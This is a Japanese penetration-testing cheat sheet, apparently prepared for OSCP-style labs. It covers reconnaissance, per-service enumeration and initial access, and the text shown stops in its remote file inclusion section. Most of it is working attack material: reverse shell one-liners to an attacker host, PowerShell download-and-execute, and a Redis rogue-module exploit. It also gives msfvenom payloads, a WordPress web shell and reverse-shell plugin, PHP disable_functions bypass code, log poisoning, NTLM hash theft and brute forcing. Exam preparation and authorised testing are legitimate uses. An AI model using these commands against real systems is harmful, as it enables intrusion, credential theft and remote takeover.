目次
- 0. はじめに(方針・Tips・全体像)
- 1. 偵察・列挙 (Reconnaissance)
- 2. 初期侵入 (Initial Access / Exploitation)
- 3. 武器化・クライアントサイド攻撃 (Resource Development)
- 4. 侵入後の基礎操作 (Foothold)
- 5. 内部探索 (Discovery)
- 6. 権限昇格 (Privilege Escalation)
- 7. 認証情報の奪取 (Credential Access)
- 8. Active Directory 攻撃
- 9. 横展開 (Lateral Movement)
- 10. 永続化 (Persistence)
- 11. ピボット・ポートフォワーディング (Pivoting)
- 12. データ持ち出し (Exfiltration)
- 13. 防御回避 (Defense Evasion)
- 付録 (Appendix)
0. はじめに(方針・Tips・全体像)
0.1 詰まったときのチェックリスト
- FTPポートに対してデフォルトクレデンシャルでHydraをかけたか?
- 各Webページのソースコードを確認し、コメントでヒントがあるか確認したか?
- windows.old はあるか? → 7.1 ローカルクレデンシャルダンプ (LSASS / SAM)
- PowerShell History はあるか? → 5.3 機微情報・機微ファイルの探索
- UDP もスキャンしたか? →
nmap -Pn -sU -sV --top-ports 25 - nxc / crackmapexec の認証チェックは smb / wmi / winrm / rdp すべてやったか? また
--local-authも試したか? - NTLM ハッシュでの認証(nxc/freerdp の
-H//pth:)を試したか? - よく使われる ID/PW の組み合わせ
-
<USERNAME>:<USERNAME>(小文字・大文字バリエーション含む) -
<USERNAME>:password/password123/123
-
- Windows マシンで複数ポートがある場合の確認順序
- (TCP/445) SMB 接続
- (TCP/389) LDAP 匿名アクセス
- (TCP/88) AS-REP Roasting / ユーザー列挙
- kerberosポートが開いている場合は5.5を参照
- SMBで書き込み権限がある場合、ntlm-theftでアップロードして誘導したか?
0.2 Useful Techniques
- Windows 上で動作している PHP へのリバースシェルは
PHP Ivan Sincekが安定している。 - リバースシェルが
4444等で接続できない場合は80/443などアウトバウンドで通りやすいポートへ変更する(アウトバウンド制限を疑う)。 - RCE でリバースシェルのワンライナーがうまくいかない場合は、
msfvenomでリバースシェルファイルを作成し配送+実行させる → 3.1 ペイロード生成 (msfvenom)。 - PortSwigger → /etc/shadow、/etc/passwdを取得してクラック もしくは .ssh/id_rsa
# SSH接続(ホスト鍵チェック無効化)
ssh -o "PubkeyAcceptedAlgorithms=+ssh-rsa" -o "StrictHostKeyChecking=no" -o "UserKnownHostsFile=/dev/null" <userName>@<targetIP>
# 快適なリスナー(補完・履歴付き)
rlwrap -Acr nc -lvnp <targetPort>
# シェルのグレードアップ
python3 -c 'import pty; pty.spawn("/bin/bash")'
# RDP接続
xfreerdp /d:<domainName> /u:<userName> /p:<password> /v:<targetIP> /dynamic-resolution /cert:ignore +clipboard
# UTF-16 -> UTF-8
iconv -f UTF-16 -t UTF-8 input.xml -o output.xml
# ファイル上書き
cat > /etc/sample.service << 'EOF'
hogehoge
EOF
# default credentials
## FTP Auth
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt
## HTTP dictionary
### raft: 29999, dirbuster: 220559
/usr/share/feroxbuster/raft-medium-directories.txt
/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
## Generate HTTP Auth password
cewl http://<targetIP>/ -w cewl.txt
# username-anarchy
./username-anarchy -i users.txt > users2.txt
# use specific version
pyenv shell 3.12.14
rehash
python -m venv venv_3.12.14
# back
pyenv shell system
rehash
# ファイル転送
## Kali
sudo impacket-smbserver share . -smb2support -username user -password pass
## Win
net use \\<attackerIP>\share
copy \\<attackerIP>\share\file.txt c:\Users\public\file.txt
---
net use Z: \\<attackerIP>\share
copy c:\Users\public\file.txt Z:\
# zip
7z x example.zip
grep "passw" */** 2>/dev/null
# sitelist.xml
mcafee_sitelist_pwd_decrypt
リバースシェルの各種ワンライナーは 3.2 リバースシェル集、シェルの安定化は 4.1 シェルのグレードアップ を参照。
KRB_AP_ERR_SKEW (Kerberos のクロックスキュー対策)
タイムゾーンをADに合わせる
# 一時的にADへ合わせる
sudo timedatectl set-ntp false
sudo net time set -S <targetIP>
# 戻す
sudo timedatectl set-ntp true
0.3 攻撃フロー全体像(Windows)
マインドマップ: https://github.com/Orange-Cyberdefense/ocd-mindmaps
シェル取得前後で、本チートシートの該当セクションへ進む。
| フェーズ | 主な作業 | 参照 |
|---|---|---|
| シェル取得前・列挙 | SMB/LDAP/Kerberos 列挙、ユーザー列挙 | 1.2 サービス別列挙 |
| シェル取得前・初期侵入 | AS-REP/Kerberoast、Web/SQLi、Exploit | 2. 初期侵入 (Initial Access / Exploitation), 8.1 Kerberos攻撃 |
| 接続試験 | nxc で smb/winrm/rdp/ssh を確認 | 9.1 認証方式別の接続 |
| シェル取得後・列挙 | whoami/all、ドメイン参加確認、BloodHound | 5. 内部探索 (Discovery) |
| 権限昇格 | PrintSpoofer / RunasCs / サービス悪用 等 | 6.2 Windows |
| 認証情報奪取 | LSASS/SAM ダンプ、DCSync | 7. 認証情報の奪取 (Credential Access) |
| 横展開 | PtH/PtT、psexec/wmiexec/evil-winrm | 9. 横展開 (Lateral Movement) |
接続試験ワンライナー(クレデンシャル入手時にまず実施)
nxc smb <IP> -u <username> -p '<password>'
nxc winrm <IP> -u <username> -p '<password>'
nxc rdp <IP> -u <username> -p '<password>'
nxc ssh <IP> -u <username> -p '<password>'
# ローカル認証の可能性がある場合は --local-auth、NTLMハッシュは -H を併用
0.4 リファレンスリンク集
- HackTricks
- Red Team Notes
- 0xsyr0/OSCP
- Reverse Shell Generator
- GTFObins
- CrackStation / hashes.com
- CyberChef
- PoC-in-GitHub(⚠️ マルウェア注意)
- ペネトレーションテスト チートシート(CRTP)
1. 偵察・列挙 (Reconnaissance)
1.1 ホスト発見・ポートスキャン
nmap
SYN スキャン等で RAW ソケットを使うため root 権限で実行する。本番環境では ICMP が FW でブロックされていることが多いため -Pn でホスト確認をスキップするのが無難。
# Pingスキャン(ホスト探索のみ、ポートスキャンなし)
sudo nmap -sn <targetCIDR>
sudo nmap --open -sn <targetCIDR> -oG ping-sweep.txt
# SYN / Connect / UDP スキャン
sudo nmap -Pn -sS <targetIP>
sudo nmap -Pn -sT <targetIP>
sudo nmap -Pn -sU <targetIP>
# TCP/UDP複合
sudo nmap -Pn -sU -sS <targetIP>
# UDPはトップポートだけでも必ず確認する
sudo nmap -Pn -sU -sV --top-ports 200 <targetIP>
# バージョン確認
sudo nmap -sV <targetIP>
# Pingに応答しないホストへの全ポート高速スキャン
sudo nmap -Pn -A -p- -T4 <targetIP>
# NSEスクリプト
sudo nmap -p21 --script ftp-anon <targetIP>
sudo nmap --script http-vuln-cve2017-5638.nse <targetIP> --script-args path=/struts2-showcase/showcase.action -p 80
主要オプション
| 引数 | 説明 |
|---|---|
| -sn | ホスト検出のみ(Pingスキャン) |
| -Pn | pingによるホスト確認をスキップ |
| -sV | ポートのバージョン確認 |
| -sS | SYNScan(ステルス、SYN-ACK後のACKを送らない) |
| -sT | ConnectScan(3wayハンドシェイク完了) |
| -sU | UDPScan(SYNと併用でTCP/UDP両方確認) |
| -n | 逆引きDNSをしない |
| -F | 高速スキャン(nmap-services記載分) |
| -O / -A | OS検出 / OS・バージョン込みフルスキャン |
| -p / -p- | ポート指定 / 全ポート |
| -sC / --script | NSEスクリプト(カテゴリ名orスクリプト名、,連結) |
| -T0〜T5 | タイミング(後述) |
| -iL | IPリストを指定 |
| -oA / -oG / -oN | 3種出力 / grep形式 / 標準形式でファイル出力 |
| -D RND:5 | デコイスキャン(送信元IPをランダム5種) |
| --disable-arp-ping | ARP ping無効化 |
| -g | 送信元ポート番号指定 |
| --top-ports 20 | スキャンポート数を制限 |
| --osscan-guess | OSフィンガープリント推測 |
タイミング (-T)
| 値 | 説明 |
|---|---|
| 0 paranoid / 1 sneaky | IDS回避用 |
| 2 polite | 帯域・リソース消費を抑制 |
| 3 normal | デフォルト |
| 4 Aggressive | 信頼性あるNW想定で高速化 |
| 5 insane | 超高速(精度を一部犠牲) |
NSE カテゴリ
- スクリプト保存場所:
/usr/share/nmap/scripts/ -
--script-argsで引数指定(複数は,区切り) - 参考: Nmap Scripting Engine (NSE)
| カテゴリ | 意味 |
|---|---|
| auth | 認証資格情報の決定 |
| broadcast | ブロードキャストによるホスト検出 |
| brute | ブルートフォースによるログイン試行 |
| default |
-sC で実行されるデフォルト |
| discovery | アクセス可能なサービスの評価 |
| dos | サービス拒否脆弱性の確認(破壊的) |
| exploit | 既知脆弱性の悪用 |
| external | 外部サービスを利用 |
| fuzzer | フィールドのファジング(時間がかかる) |
| intrusive | 侵入的(影響あり得る) |
| malware | マルウェア感染確認 |
| safe | 非破壊的な防御スクリプト |
| version | サービス検出の拡張 |
| vuln | 特定脆弱性の特定 |
rustscan
nmap より高速。-a で IP/レンジ指定、-- 以降に nmap オプションを渡す。
rustscan --version
rustscan -a <targetIP> --range 1-1024 -- -sV -A -n
# デフォルトで全ポートスキャン
rustscan -a <targetIP> -- -Pn -A
Netcat(簡易ポートチェック)
| オプション | 説明 |
|---|---|
-z |
データを送らない |
-v |
詳細表示 |
-u |
UDP接続 |
-w 1 |
タイムアウト1秒 |
nc -zv -w 1 <targetIP> 1-65535 # TCP
nc -zvu -w 1 <targetIP> 1-65535 # UDP
PowerShell(Windows上からのポートチェック)
# 単体ポート
Test-NetConnection -Port 445 <targetIP>
# 複数ポート
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<targetIP>", $_)) "TCP port $_ is open"} 2>$null
1.2 サービス別列挙
FTP (TCP/21)
ftp <userName>@<targetIP>
# 応答がない場合はパッシブモードへ
epsv4
passive
ブルートフォースは 2.2 ブルートフォース (hydra) を参照。
SSH (TCP/22)
接続オプションは 0.2 Useful Techniques、秘密鍵の取り扱いは 7.3 SSH秘密鍵 を参照。
SMTP (TCP/25)
# ユーザー列挙
smtp-user-enum -M VRFY -D <domainName> -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t <targetIP>
# telnetでの手動送信
HELO localhost
MAIL FROM:<sender@example.com>
RCPT TO:<recipient@example.com>
DATA
Subject: Test Mail from Telnet
Hello, this is a test email sent via telnet!
.
QUIT
メール添付による配送(swaks)は 3.4 クライアントサイド攻撃に統合。シェル取得後のメール探索先は
/var/mail/、/var/spool/mail/。
whois(TCP/43)
whois -h <targetIP> -p 43 "<domainName>"
POP3 (TCP/110)
# Telnet
telnet <IP> 110
USER <username>
PASS <password>
## メール一覧
LIST
## 本文表示
retr <No>
quit
# curl
curl -k 'pop3://<targetIP>' --user '<userName>:<password>'
curl -k 'pop3://<targetIP>' --user '<userName>:<password>' -X 'LIST'
curl -k 'pop3://<targetIP>' --user '<userName>:<password>' -X 'RETR 1'
IMAP (TCP/143)
# Telnet
telnet <domain> 143
a1 LOGIN <userName>@<domain> <password>
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH <メール番号> BODY[]
a5 LOGOUT
# curl
curl -k 'imap://<targetIP>' --user '<userName>:<password>' -X 'LIST "" "*"'
curl -k 'imap://<targetIP>' --user '<userName>:<password>' -X 'search all'
curl -k 'imap://<targetIP>/<mailBoxName>' --user '<userName>:<password>' -X 'FETCH <indexNumber> BODY[HEADER.FIELDS (SUBJECT)]'
curl -k 'imap://<targetIP>/<mailBoxName>;MAILINDEX=<indexNumber>' --user '<userName>:<password>'
DNS (TCP/53, UDP/53)
# --- TCP: ゾーン転送 ---
# 1. ドメイン名チェック(TCPでの名前解決)
dig @<DNS Server IP> <domain> +tcp
nslookup -vc <DNS Server IP> <domain>
# 2. ゾーン転送リクエスト
dig axfr <domain> @<DNS Server IP>
nslookup
server <DNS Server IP>
ls -d <domain>
# --- UDP: レコード照会 / サブドメイン列挙 ---
host www.example.com
host -t mx www.example.com
nslookup -type=TXT <domain> <DNS server>
# サブドメインのブルートフォース
for sub in $(cat list.txt); do host $sub.example.com; done | grep -Ev "not found|timed out"
dnsrecon -d example.com -D ./list.txt -t brt
dnsenum example.com
# リバースDNS列挙(-n: DNSサーバー)
dnsrecon -r 192.168.1.0/24 -n 192.168.1.53
Kerberos (TCP/88)
- AS-REP Roasting: Kerberos 事前認証が無効なアカウントを列挙し、ハッシュを取得(未認証で可)。
- Kerberoasting: SPN が設定されたユーザーアカウントを列挙し TGS チケットを取得。
- 攻撃の実行コマンド・クラックは 8.1 Kerberos攻撃 に統合。ここでは列挙のみ扱う。
# ユーザー列挙
# /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
./kerbrute_linux_amd64 userenum --dc <domainControllerIP> -d <domain> <userNameList>
# SID列挙
impacket-lookupsid <userName>@<targetIP> -no-pass
Kerberos 認証フロー / 事前認証の解説:
Kerberos Authentication flow /
Kerberos事前認証とKRB5KDC_ERR_PREAUTH_REQUIRED
SID 構造 (S-R-X-Y)
例: S-1-5-21-1336799502-1441772794-948155058-1001
| プレースホルダー | 意味 |
|---|---|
| S | SIDプレフィックス |
| R | リビジョン |
| X | 識別子発行機関 |
| Y | サブ機関(ドメイン識別子+RID)。上記例の RID は 1001 |
NFS (TCP/111)
sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <targetIP>
showmount -e <targetIP>
sudo mount <targetIP>/<Directory> /<mount point>
sudo mount -t nfs <targetIP>:/<Directory> /<mount point> -nolock
no_root_squash悪用による権限昇格は 6.1 Linux を参照。
SNMP (TCP/UDP/161)
| MIB値 | 実態 |
|---|---|
1.3.6.1.2.1.25.1.6.0 |
システムプロセス |
1.3.6.1.2.1.25.4.2 |
|
1.3.6.1.2.1.25.4.2.1.2 |
プロセス名の列挙 |
1.3.6.1.2.1.25.4.2.1.4 |
プロセスの実行パス |
1.3.6.1.2.1.25.4.2.1.5 |
プロセスの引数 |
1.3.6.1.2.1.25.4.2.1.4 |
プロセスパス |
1.3.6.1.2.1.25.2.3.1.4 |
収納ユニット |
1.3.6.1.2.1.25.6.3.1.2 |
ソフトウェア名 |
1.3.6.1.4.1.77.1.2.25 |
ユーザーアカウント |
1.3.6.1.2.1.6.13.1.3 |
TCPローカルポート |
# コミュニティ文字列の総当たり
echo public > community; echo private >> community; echo manager >> community
for ip in $(seq 1 254); do echo xxx.xxx.xxx.$ip; done > ips
onesixtyone -c community -i ips
# walk(-t: タイムアウト)
snmpwalk -c public -v1 -t 10 <targetIP> <MIB>
# コミュニティ文字列のブルートフォース
hydra -P /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt snmp://<targetIP>
# 拡張MIB
sudo apt install snmp-mibs-downloader
snmpwalk -c public -v2c <targetIP> NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -c public -v2c <targetIP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
LDAP (TCP/389)
nmap -n -sV --script "ldap* and not brute" -p389 <targetIP>
# 匿名 / 認証付きクエリ
# ※ "000004DC: LdapErr" が出たら認証が必要という意味
ldapsearch -x -H ldap://<targetIP> -s base
ldapsearch -x -H ldap://<targetIP> -b "dc=***,dc=***" -s sub "(objectClass=user)"
ldapsearch -x -H ldap://<targetIP> -D "<domainName>\<userName>" -w "<password>" -b "dc=***,dc=***" -s sub "(objectClass=user)"
ldapsearch -x -H ldap://<targetIP> -b "dc=***,dc=***" "(objectClass=user)" sAMAccountName userPrincipalName
# DNのみ列挙
## 再帰的に確認しない場合は-s oneにする
ldapsearch -x -H ldap://htb.local -b "dc=htb,dc=local" -s sub "(objectClass=*)" dn
# OUの列挙
ldapsearch -x -H ldap://htb.local -b "dc=htb,dc=local" "(objectClass=organizationalUnit)" dn
# ユーザーアカウントの列挙
ldapsearch -x -H ldap://htb.local -b "dc=htb,dc=local" "(objectClass=user)" samaccountname description memberof
# コンピュータアカウントの列挙
ldapsearch -x -H ldap://htb.local -b "dc=htb,dc=local" "(objectClass=computer)" name dnshostname
# グループの列挙
ldapsearch -x -H ldap://htb.local -b "dc=htb,dc=local" "(objectClass=group)" cn member
SMB (TCP/445)
共有フォルダに書き込み権限があり、他ユーザーと共有している場合はntlm_theftを用いてNTLMハッシュ取得に繋げる。
[[#NTLMハッシュ窃取ファイル生成 (ntlm_theft)]]
# nmapによる列挙・バージョン・脆弱性
sudo nmap -p 445 --script smb-enum-* <targetIP>
sudo nmap -sV -sC -p 445 <targetIP>
sudo nmap -p 445 --script smb-vuln-* <targetIP>
# enum4linux
enum4linux-ng -A <targetIP>
for ip in {9,11,12,13,14,15,20,149,151,152}; do enum4linux-ng -NMS xxx.xxx.xxx.$ip; done
# nxc / crackmapexec(情報列挙・匿名ログイン・全部セット)
nxc smb <targetIP>
## 匿名
nxc smb <targetIP> -u '' -p ''
nxc smb <targetIP> --users --shares --loggedon-users --continue-on-success
crackmapexec smb <targetIP> --users --shares --sessions --continue-on-success
nxc smb <targetIP> --smb-sessions
# 共有フォルダの列挙
smbmap -u <userName> -H <targetIP>
nxc smb <targetIP> -d <domain> -u <userName> -p <password> --shares --continue-on-success
# 再帰的にファイルまで列挙(出力は/tmp配下にJSON)
crackmapexec smb <targetIP> -d <domain> -u <userName> -p "<password>" --shares -M spider_plus
# smbclient
smbclient -L <targetIP>
smbclient //<targetIP>/path -U '<Domain\userName%password>'
smbclient //<targetIP>/path -U '<Domain\userName>' --pw-nt-hash <ntlmHash>
## 匿名
smbclient //<targetIP>/path -U '<Domain\userName>' --no-pass
# 共有内で: get <fileName>
# Windows Cmd
net view \\<hostName> /all
AD環境でのドメイン共有探索(PowerView
Find-DomainShare/Invoke-ShareFinder)は 5.5 AD列挙 (PowerView / BloodHound) を参照。
RPC (TCP/445)
# rpcclient
rpcclient -U '<domainName>/<accountName%password>' <targetIP>
# 列挙
enumdomusers
queryuser <userName>
enumdomgroups
querygroupmem <RID>
# パスワードリセット(23: USER_INFO_23 -> password override)
setuserinfo <userName> 23 'Password123'
# netコマンドでのパスワード変更
net rpc password '<userName>' '<newPassword>' -U '<domainName>/<userName>%<password>' -S '<targetIP>'
rsync (TCP/873)
# バナー確認
nc -nv <targetIP> 873
# モジュール一覧
rsync -av --list-only rsync://<targetIP>
# リモートからのコピー
rsync -av rsync://user@<targetIP>/files ./rsync
# ユーザー不要な場合
rsync -av rsync://<targetIP>/files ./rsync
MSSQL (TCP/1433)
impacket-mssqlclient Administrator:Lab123@<targetIP> -windows-auth
# xp_cmdshell有効化 → コマンド実行詳細は SQL を参照
EXEC xp_cmdshell 'dir';
# MSSQL経由でのNTLMハッシュ窃取(Responderと併用)
## Kali: sudo responder -I tun0
EXEC xp_dirtree '\\<attackerIP>\share', 1, 1;
## クラック: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# その他列挙
enum_users;
enum_logins;
enum_links;
enum_impersonate;
# 他ユーザーアカウントになりすます
exec_as_login <userName>
# ファイルシステム探索 / 探索パス, 探索深度, ファイル表示(True)
EXEC master.sys.xp_dirtree 'C:\', 1, 1;
EXEC master.sys.xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
# xp_cmdshell の有効化とコマンド実行(MSSQL共通手順)
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
# reverse shell one liner
xp_cmdshell 'powershell -e BASE64_REVERSE_SHELL';
# create revShell
## LHOST=Pivot
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<pivotIP> LPORT=<redirectPort> -f exe -o rev.exe
# Download, Execute
xp_cmdshell "curl http://<pivotIP>:<redirectPort>/rev.exe -o C:\Users\Public\rev.exe"
xp_cmdshell "C:\Users\Public\rev.exe"
SQL 操作・xp_cmdshell の完全な有効化手順は SQL に統合。
unisql (TCP/1978)
WiFi Mouse の RCE が刺さることが多い。以下は PoC 実行でサーバーからペイロードを取得・実行する例。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attackerIP> LPORT=9999 -f exe -o rev.exe
python3 -m http.server 80
# https://www.exploit-db.com/exploits/49601
python2 ./49601.py <targetIP> <attackerIP> rev.exe
API (TCP/3000) — GraphQL
curl -I http://<targetIP>:3000/graphql
curl -s <targetIP>:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ user { username password } }" }' | jq .
Redis (TCP/6379)
https://hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html
- 5.0.5以下
- 5.0.9でも使える
# configのパス
## パスワードは requirepass 行
/etc/redis/redis.conf
/etc/redis.conf
/etc/redis/redis-server.conf
# ファイルを何かしらでアップロード
# よくあるのはftpでアクセス→pubディレクトリ→exp_lin.soをアップロード
redis-cli -h <targetIP>
MODULE LOAD /var/ftp/pub/module.so
system.exec "id"
system.exec "/bin/bash -i >& /dev/tcp/<kaliIP>/6379 0>&1"
# RCE(ncで待ち受ける必要なし、ツールでリバースシェルがそのままキャッチする)
python3 redis-rce.py -r <targetIP> -p <targetPort> -L <attackerIP> -P <attackerPort> -v -f redis-rogue-server/exp.so -a <password>
# upload
redis-cli -h <targetIP>
AUTH <password>
config set dir <path>
config set dbfilename <filaName>
set test '<?php system("curl http://<attackerIP>:<attackerPort>/shell.sh | bash"); ?>'
save
exit
<LFIで実行する>
HTTP / WebDAV (TCP/80, 443)
- 利用するワードリスト
- 網羅性確保: `/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt``
- バランス:
/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt directory-list-2.3-medium.txt
調査観点:
- ディレクトリ構造: 開発者用コンテンツ・管理ポータルの有無
-
非公開コンテンツ:
robots.txt(インデックス回避)、favicon.ico(OWASP faviconDBでフレームワーク特定)、sitemap.xml - バージョン: ツール/手動アクセス(HTMLソース・コメント)
- 特性: 問い合わせフォームが確認メール送信→OSコマンド経由の可能性
# テクノロジースタック
whatweb <targetURL>
# サイトからワードリスト作成
cewl --lowercase http://<targetIP> > cewl-wordlists.txt
# --- gobuster ---
# -x: 拡張子, -b: 無視する応答コード(カンマ区切り)
gobuster dir -u <targetURL> -w <wordList> -t <threads> -b <ignoreCodes> -x <ext>
# パターン検索(pattern.txt 内に {GOBUSTER}/v1 等)
gobuster dir -u <targetURL> -w <wordList> -p pattern.txt
# --- feroxbuster ---
# HTTPSの場合は --insecure オプションを利用する
feroxbuster -u <targetURL> -x php,aspx,txt,config,zip,bak,pdf,db,git --filter-status 404,405,500,502,504 --depth 1
feroxbuster -u <targetURL> -w <wordList> -t 40 --filter-status 404,405,500,502,503,504 --no-recursion
feroxbuster -u <targetURL> -w <wordList> -x php,aspx,txt,config,zip,bak,pdf,db,git --filter-status 404,405,500,502,504
# IP制限回避
feroxbuster -u <targetURL> -H "X-Forwarded-For: 10.10.10.1" -x php,aspx,txt,config,zip,bak,pdf,db,git --filter-status 404,405,500,502,504
## Basic認証
feroxbuster -u <targetURL> -H "Authorization: Basic <base64>" -w <wordList> -x php,aspx,txt
## -E: ページ内ファイル抽出, -e: ページ内リンク抽出
feroxbuster -u <targetURL> -w <wordList> -E -x <ext>
## 出力フィルタ
feroxbuster -u <targetURL> -w <wordList> --status-codes 200
# --- ffuf ---
## サブドメイン列挙
ffuf -w <wordList> -u <targetURL> -H "Host: FUZZ.<domain>" -ac -fc 302
ffuf
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u <targetURL> -H "Host: FUZZ.<domain>" -ac -fs 0
## サブディレクトリ探索
ffuf -w <wordList> -u <targetURL>/FUZZ -ac
# --- WPScan ---
# u:ユーザー, ap:全プラグイン, at:全テーマ, cb:wp-configバックアップ, dbe:DBバックアップ
# wpscan --url <targetURL> --enumerate u,ap,cb,dbe
wpscan --url <targetURL> --enumerate u,p,cb,dbe
wpscan --url <targetURL> --no-update
wpscan --password-attack xmlrpc -t 40 -U <userName> -P <wordList> --url <targetURL>
sudo docker run -v /etc/hosts:/etc/hosts -it --rm wpscanteam/wpscan --url <targetURL> --enumerate u
## xmlrpc.php のRPCメソッド列挙
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' http://<domain>/xmlrpc.php
# --- WebDAV ---
davtest -url <targetURL>
cadaver <targetURL> # WebShellは /usr/share/webshells
Jenkins
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
-
create new jobs->freestyle project -
Build->Execute Windows batch command->Save Build Now
powershell IEX (New-Object Net.WebClient).DownloadString('http://<attackerIP>:<attackerIP>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attackerIP> -Port <attackerPort>
# Invoke-PowerShellTcp.ps1の末尾に Power -Reverse -IPAddress <attackerIP> -Port <attackerPort> を追記済みの場合
powershell IEX (New-Object Net.WebClient).DownloadString('http://<attackerIP>:<attackerIP>/Invoke-PowerShellTcp.ps1');
WordPress のシェル取得
Theme 改ざん
使用中テーマを確認(WPScan の WordPress theme in use: / 管理画面 Appearance > Themes の Active)
-
Appearance > Theme Editor > 404 Template(なければ Tools を確認) - ペイロード作成(revshells / php-reverse-shell / 下記WebShell)
- 貼り付けて
Update File -
http://<targetURL>/wp-content/themes/twentytwentyone/404.phpにアクセス
<pre><?php system($_POST["cmd"]);?></pre>
<form method="POST"><input autofocus type="text" name="cmd"></form>
Plugin アップロード
Plugins > Add New でアップロードし Activate Plugin
mkdir wp-reverse-shell
msfvenom -p php/reverse_php LHOST=<attackerIP> LPORT=<attackerPort> -f raw -o reverse_shell.php
vim wp-reverse-shell.php
# wp-reverse-shell.php
# --------------------------------
<?php
/**
* Plugin Name: WP Reverse Shell
* Description: Reverse shell plugin for testing purposes.
* Version: 1.0
* Author: hoge
*/
include_once(plugin_dir_path(__FILE__) . 'reverse_shell.php');
?>
# --------------------------------
zip -r wp-reverse-shell.zip wp-reverse-shell/
SSRF
別サイトのコンテンツを表示するアプリは SSRF を疑う。Responder と組み合わせて NTLM ハッシュ窃取も可能(→ 7.5 ユーザーレベルのクレデンシャルダンプ)。
sudo responder -I tun0 -v
# プロトコル例
file://<attackerIP>/test.txt
http://<attackerIP>/test
smb://<attackerIP>/share
# NTLMv2 Hashフォーマット
userName::Domain:Challenge:HMAC-MD5:Blob
phpinfo
表示できたら以下を確認:
-
Loaded Configuration File/Server Root/DOCUMENT_ROOT/upload_tmp_dir -
allow_url_fopen(リモートURLをファイルとして読込可) -
allow_url_include(ON なら?page=http://<attackerIP>/revshell.phpが実行可)
ページをローカルに保存し、dfunc-bypasser でExploit可能な関数を特定できる。
python2 dfunc-bypasser.py --file phpinfo.html
# 出力例: proc_open が利用可能 → 以下のRCE
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open("bash", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> 4444 >/tmp/f");
fclose($pipes[0]);
while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); }
fclose($pipes[1]);
$return_value = proc_close($process);
}
?>
1.3 ソースコード漏洩 (git-dumper)
# pipx install git-dumper
git-dumper http://example.com/.git/ <dirName>
git branch
git log
git show <commitID>
2. 初期侵入 (Initial Access / Exploitation)
2.1 公開Exploitの探索 (SearchSploit)
searchsploit blogengine
# ローカルにコピー
searchsploit -m <file name>
2.2 ブルートフォース (hydra)
# FTP
hydra -f -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://<targetIP>
# SSH / RDP / SMB
hydra -l <userName> -P <passwordList> -s <port> ssh://<targetIP> -t 6
hydra -L users.txt -p "SuperS3cure1337#" rdp://<target>
hydra -l <userName> -P <passwordList> <targetIP> smb
# HTTP Basic認証
hydra -l <userName> -P <passwordList> <targetIP> http-get <targetURL>
# HTTP 認証フォーム(POSTボディを参考に http-post-form を構成)
hydra -l <userName> -P <passwordList> <targetIP> http-post-form "/<loginPath>:<userField>=^USER^&<passField>=^PASS^:Login failed. Invalid"
hydra -l admin -P <passwordList> <targetIP> http-post-form "/index.php:user=^USER^&pass=^PASS^&token=^TOKEN^:Username or password invalid"
# WordPress
hydra -t 45 -V -l admin -P <passwordList> "http-post-form://<targetURL>/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:incorrect."
| 引数 | 説明 |
|---|---|
| -l / -L | ユーザー名 / ユーザーリスト |
| -p / -P | パスワード / パスワードリスト |
| -t | スレッド数 |
| -s | ポート番号 |
| http-post-form | POSTフォームへの攻撃 |
| http-get | Basic認証への攻撃 |
2.3 Webアプリ攻撃
PHP Disable Functions Bypass
https://medium.com/@omarelsayedkhalef/bypassing-disabled-php-functions-via-file-upload-ld-preload-technique-0fd8e7cda6c2
https://github.com/TarlogicSecurity/Chankro
PHPファイルをアップロードできるが、リバースシェルを張るための関数が無効化されている場合に利用するテクニック
python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
ファイルインクルージョン
LFI
PHP の system() はデフォルト sh で実行されるため、リバースシェルは明示的に bash を指定する。
bash -c "bash -i >& /dev/tcp/<listenIP>/<listenPort> 0>&1"
# ログ汚染(Log Poisoning)でのRCE
# Windowsの場合
curl --path-as-is -H $'User-Agent: curl <?php echo system($_GET[\'cmd\']); ?>' <targetURL>
curl --path-as-is "<targetURL>?page=..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log&cmd=dir"
# スペースはエンコード
curl --path-as-is "<targetURL>?page=..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log&cmd=type%20secret.txt"
RFI
curl "<targetURL>?page=http://<attackerIP>/reverse-shell.php"
curl "<targetURL>?page=http://<attackerIP>/simple-backdoor.php&cmd=cat%20/home/elaine/.ssh/authorized_keys"
# RFI-revWin.php
